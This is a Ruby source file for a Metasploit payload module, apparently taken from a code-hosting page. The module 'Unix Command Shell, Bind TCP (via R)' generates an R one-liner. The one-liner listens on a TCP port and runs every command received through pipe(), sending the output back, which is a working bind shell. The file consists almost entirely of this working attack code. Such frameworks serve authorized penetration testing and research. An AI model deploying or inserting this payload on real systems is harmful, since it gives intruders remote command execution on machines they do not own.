50 lines
1.3 KiB
Ruby
50 lines
1.3 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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CachedSize = 132
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include Msf::Payload::Single
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include Msf::Payload::R
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include Msf::Sessions::CommandShellOptions
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Unix Command Shell, Bind TCP (via R)',
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'Description' => 'Continually listen for a connection and spawn a command shell via R',
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'Author' => [ 'RageLtMan <rageltman[at]sempervictus>' ],
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'License' => MSF_LICENSE,
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Handler' => Msf::Handler::BindTcp,
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'Session' => Msf::Sessions::CommandShell,
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'R',
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'Payload' => { 'Offsets' => {}, 'Payload' => '' }
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))
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register_advanced_options(
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[
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OptString.new('RPath', [true, 'The path to the R executable', 'R'])
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]
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)
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end
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def generate(_opts = {})
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return prepends(r_string)
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end
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def prepends(r_string)
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return "#{datastore['RPath']} -e \"#{r_string}\""
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end
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def r_string
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return "s<-socketConnection(port=#{datastore['LPORT']}," +
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"blocking=TRUE,server=TRUE,open='r+');while(TRUE){writeLines(readLines" +
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"(pipe(readLines(s,1))),s)}"
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end
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end
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